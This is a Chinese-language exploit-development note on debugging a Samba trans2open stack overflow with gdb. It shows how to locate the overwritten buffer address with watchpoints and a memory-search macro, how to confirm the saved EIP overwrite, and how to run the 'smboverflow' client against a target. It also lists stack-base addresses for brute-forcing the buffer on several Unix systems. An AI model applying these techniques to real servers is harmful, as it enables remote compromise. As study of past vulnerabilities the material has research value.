☆ 漏洞调试技巧 漏洞调试技巧比较杂乱,仅仅作为笔记、备忘出现,非正式文档。 1) 在Debian/Linux中利用gdb确认fname_address 在Debian上执行"smbd -D"启动Samba Server。由于smbd采用父子进程处理方式,不 要直接调试父进程,gdb在fork()分叉处"直接跟随"子进程时有问题。变通的办法有 很多,先用"gdb ./smboverflow"启动客户端,在发送TRANSACT2_OPEN报文之前设置 一个断点,然后"r -d 192.168.7.148 -f 0xbffff000"执行客户端。客户端会中断在 预设断点处。如果客户端源代码可控,也可不用gdb启动客户端,程序自己控制在何 处暂停一下。 对于服务端,由于已经建立空会话,子进程出现,"ps auwx | grep smbd"找出子进 程PID,执行"gdb smbd "调试子进程。Debian自带smbd的所有符号信息都被去 除,"disas main"也会失败。执行"backtrace"查看堆栈回溯时,所出现的符号信息 绝不可信(已经乱套了),只能相信地址本身。 由于事先在RedHat/Linux上编译、调试过Samba Server源码,已经有一些初步知识, fname[1024]在栈区,fname_address位于[0xbffff000,0xbffffff0]之间的可能性极 大,位于[0xbfffe000,0xbffff000]之间的可能性极小。察看服务端当前栈帧: (gdb) i r esp ebp esp 0xbffff794 0xbffff794 ebp 0xbffff85c 0xbffff85c fname_address应该低于0xbffff794,在0xbffff400处设置监视点: (gdb) x/wx 0xbffff400 0xbffff400: 0x0804c086 (gdb) watch (*(unsigned int *)0xbffff400==0x90909090) (gdb) c 执行"StrnCpy( fname, pname, namelen );"时,fname[]中出现大量0x90(NOP指令)。 假设0xbffff400位于fname[]中部,执行Strncpy()时,该处的值将变成0x90909090, 监视点被命中,程序就会中断下来。watch与SoftICE中的BPM类似,使用DR0-DR3调试 寄存器,属于硬件断点。 现在回到客户端,执行"c",发送TRANSACT2_OPEN报文。 服务端由于监视点被命中而中断下来: (gdb) x/wx 0xbffff400 0xbffff400: 0x90909090 (gdb) x/10i $eip 0x8113d69 : inc %ecx 0x8113d6a : inc %edx 0x8113d6b : test %al,%al 0x8113d6d : jne 0x8113d60 0x8113d6f : movb $0x0,(%edx) 0x8113d72 : mov %esi,%eax 0x8113d74 : pop %ebx 0x8113d75 : pop %esi 0x8113d76 : leave 0x8113d77 : ret (gdb) 显然这在Strncpy()函数中,不要相信此时的符号信息。查看其返回地址、各个形参: (gdb) x/4wx $ebp+4 0xbffff340: 0x0806e65b 0xbffff3fc 0x0820518c 0x00000449 已经找出fname_address,就是0xbffff3fc。查看call_trans2open()的栈帧: (gdb) x/wx $ebp 0xbffff33c: 0xbffff7fc 0xbffff7fc是call_trans2open()中EBP寄存器的值。注意,fname_address加上1024 字节就等于0xbffff7fc了。这与前面所绘内存布局图有出入,中间那些局部变量不见 了,比如namelen、pname等等。 这里介绍另一个技巧,如何进行内存搜索: (gdb) define find <- 尖括号部分不要输入 set $count=0 set $find_result=$arg0 while ((((unsigned int)$count)<((unsigned int)$arg3))&&(((unsigned int)$find_result)<=((unsigned int)$arg1))) if (*(unsigned int *)$find_result==$arg4) set $count=$count+1 x/wx $find_result end set $find_result=$find_result+$arg2 end end (gdb) find 0xbffff000 0xbfffff00 4 16 0x90909090 <- 后面直接使用find就可以了 0xbffff3fc: 0x90909090 0xbffff400: 0x90909090 (gdb) find 0xbffff000 0xbfffff00 4 8 0x0820518c <- 搜索pname变量位置 0xbffff348: 0x0820518c OpenBSD 3.0自带的gdb 4.16.1要求我们必须对参与大小比较的各个变量进行强制类 型转换,否则行为怪异,达不到预期目的。高版本的gdb不再需要进行强制类型转换, 为了保持向后兼容性,这里仍然使用了强制类型转换。 0xbffff348是Strncpy()的形参位置。按常规理解应该还有一处地址存放0x0820518c, 那才是pname变量位置,但现在没找到。查看0x0806e65b前后的指令并对照trans2.c 源码,发现局部变量pname只在Strncpy()处使用了一次,很可能Debian中编译smbd时 打开了优化开关,导致pname只以寄存器变量形式出现,未出现在call_trans2open() 的栈帧中。这与RedHat的情形不一样,以后编写、调试exploit code时,应该注意类 似问题。 不断执行"x/20i 0x0806e65b",直至找到类似这样的汇编代码序列: 0x806e962 : pop %ebx 0x806e963 : pop %esi 0x806e964 : pop %edi 0x806e965 : leave 0x806e966 : ret 最后的ret指令就是call_trans2open()的最后一条返回指令,在此设置断点: (gdb) delete 1 (gdb) b *0x806e966 Breakpoint 2 at 0x806e966 (gdb) c Continuing. Breakpoint 2, 0x0806e966 in chroot () (gdb) x/5wx $esp-4 0xbffff7fc: 0xbffff0d0 0xbffff1b0 0xbffff0d0 0xbffff1b0 0xbffff80c: 0xbffff0d0 Original EBP、Original EIP、outbuf均被覆盖。由于客户端猜测的fname_address 是0xbffff000,因此Original EIP被覆盖成0xbffff1b0。而实际的fname_address从 0xbffff3fc开始,0xbffff1b0在NOP区外(内存低端),此次攻击必然失败。 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xbffff215 in ?? () (gdb) 现在回到客户端,执行"./smboverflow -d 192.168.7.148 -f 0xbffff3fc"即可溢出 成功。 这次我们运气好,设置watch监视点时正好位于fname[]中,一次命中。如果未命中, 也不要紧,等收到SIGSEGV信号后用find找出NOP区,再来一次就可以了。 当然在真实攻击中,我们不可能去目标主机上运行gdb,介绍上述技巧的目的只是便 于编写、调试exploit code,确定从何处开始暴力猜测fname_address等等。 这种技术同样适用于x86/FreeBSD,其fname_address应该从0xbfbff000开始暴力猜测。 对于x86/Solaris,其fname_address应该从0x08047000开始暴力猜测。这些值有一个 共同的特点,等于各自系统的栈底减去0x1000: x86/Linux 栈底是0xc0000000 (栈底往低地址的4个字节总是零) SPARC/Solaris 7/8 栈底是0xffbf0000 (栈底往低地址的4个字节总是零) SPARC/Solaris 2.6 栈底是0xf0000000 (栈底往低地址的4个字节总是零) x86/Solaris 8 栈底是0x08048000 x86/FreeBSD 栈底是0xbfc00000 (栈底往低地址的4个字节总是零) x86/NetBSD 1.5 栈底是0xbfbfe000 x86/OpenBSD 2.8/3.0 栈底是0xdfbfe000 编写smboverflow.c的工作简化成两步,调试出各个平台的远程shellcode,利用"2.4 如何编程获取栈底地址"中gstack.c获取栈底地址并减去0x1000作为暴力猜测的起始 地址。